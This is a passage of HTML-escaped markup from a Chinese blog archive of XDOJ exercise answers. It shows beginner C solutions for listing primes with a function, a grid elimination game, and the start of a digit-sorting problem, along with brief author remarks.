num;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e,\u0026amp;num);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%s\u0026#34;\u003c/span\u003e,is_prime(num)?\u003cspan class=\"string\"\u003e\u0026#34;YES\u0026#34;\u003c/span\u003e:\u003cspan class=\"string\"\u003e\u0026#34;NO\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"70-调用函数求素数\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/XDOJ-archive/#70-%E8%B0%83%E7%94%A8%E5%87%BD%E6%95%B0%E6%B1%82%E7%B4%A0%E6%95%B0\" class=\"headerlink\" title=\"70.调用函数求素数\"\u003e\u003c/a\u003e70.调用函数求素数\u003c/h2\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003efun\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e num, \u003cspan class=\"type\"\u003eint\u003c/span\u003e* arr)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e num,i,j=\u003cspan class=\"number\"\u003e0\u003c/span\u003e,arr[\u003cspan class=\"number\"\u003e64\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e,\u0026amp;num);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\\n\u0026#34;\u003c/span\u003e,i=fun(num,arr));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e(i-j)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d \u0026#34;\u003c/span\u003e,arr[j]),j++;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003efun\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e num, \u003cspan class=\"type\"\u003eint\u003c/span\u003e* arr)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e res=\u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e i=\u003cspan class=\"number\"\u003e2\u003c/span\u003e;i\u0026lt;=num;i++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e flag=\u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(i==\u003cspan class=\"number\"\u003e2\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(i\u0026gt;\u003cspan class=\"number\"\u003e2\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e j=\u003cspan class=\"number\"\u003e2\u003c/span\u003e;j\u0026lt;i;j++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(i%j==\u003cspan class=\"number\"\u003e0\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e flag=\u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(flag)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e *arr++=i,res++;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e res;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"71-函数与数组\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/XDOJ-archive/#71-%E5%87%BD%E6%95%B0%E4%B8%8E%E6%95%B0%E7%BB%84\" class=\"headerlink\" title=\"71.函数与数组\"\u003e\u003c/a\u003e71.函数与数组\u003c/h2\u003e\u003cp\u003e\u003cem\u003e这题啥也没有,直接提交就行\u003c/em\u003e\u003c/p\u003e\u003cp\u003e\u003cem\u003e估计是忘放题了\u003c/em\u003e\u003c/p\u003e\u003chr/\u003e\u003cp\u003e\u003cem\u003e已经忘了是多少次练习了。。\u003c/em\u003e\u003c/p\u003e\u003ch2 id=\"72-消除类游戏\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/XDOJ-archive/#72-%E6%B6%88%E9%99%A4%E7%B1%BB%E6%B8%B8%E6%88%8F\" class=\"headerlink\" title=\"72.消除类游戏\"\u003e\u003c/a\u003e72.消除类游戏\u003c/h2\u003e\u003cp\u003e\u003cem\u003e之前写2048的时候写过类似算法\u003c/em\u003e\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e42\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e43\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e44\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e45\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e46\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e arr[\u003cspan class=\"number\"\u003e30\u003c/span\u003e][\u003cspan class=\"number\"\u003e30\u003c/span\u003e], arr_new[\u003cspan class=\"number\"\u003e30\u003c/span\u003e][\u003cspan class=\"number\"\u003e30\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e m, n, i, j;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d %d\u0026#34;\u003c/span\u003e, \u0026amp;m, \u0026amp;n);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; m; i++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (j = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; j \u0026lt; n; j++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e, \u0026amp;arr[i][j]), arr_new[i][j] = arr[i][j];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; m; i++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e flag = \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (j = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; j \u0026lt; n - \u003cspan class=\"number\"\u003e1\u003c/span\u003e; j++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (arr[i][j] == arr[i][j + \u003cspan class=\"number\"\u003e1\u003c/span\u003e])\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e flag++;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e flag = \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (flag \u0026gt;= \u003cspan class=\"number\"\u003e2\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e arr_new[i][j - \u003cspan class=\"number\"\u003e1\u003c/span\u003e] = arr_new[i][j] = arr_new[i][j + \u003cspan class=\"number\"\u003e1\u003c/span\u003e] = \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (j = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; j \u0026lt; n; j++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e flag = \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; m - \u003cspan class=\"number\"\u003e1\u003c/span\u003e; i++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (arr[i][j] == arr[i + \u003cspan class=\"number\"\u003e1\u003c/span\u003e][j])\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e flag++;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e flag = \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (flag \u0026gt;= \u003cspan class=\"number\"\u003e2\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e arr_new[i - \u003cspan class=\"number\"\u003e1\u003c/span\u003e][j] = arr_new[i][j] = arr_new[i + \u003cspan class=\"number\"\u003e1\u003c/span\u003e][j] = \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; m; i++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (j = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; j \u0026lt; n; j++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d \u0026#34;\u003c/span\u003e, arr_new[i][j]);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eputs\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e稍微解释下吧。一共四个\u003ccode\u003efor\u003c/code\u003e循环,首尾两个负责输入输出,中间两个分别用于处理每一行和每一列。\u003c/p\u003e\u003cp\u003e处理思路很简单,参考第一题。\u003c/p\u003e\u003cp\u003e代码很丑,本想重构一下,抽个函数出来,结果让指针绊住了。。还是学艺不精.jpg\u003c/p\u003e\u003ch2 id=\"73-数字排序\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/XDOJ-archive/#73-%E6%95%B0%E5%AD%97%E6%8E%92%E5%BA%8F\" class=\"headerlink\" title=\"73.数字排序\"\u003e\u003c/a\u003e73.数字排序\u003c/h2\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdlib.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003ebit_sum\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e num)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003ecompare\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e a, \u003cspan class=\"type\"\u003eint\u003c/span\u003e b)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan 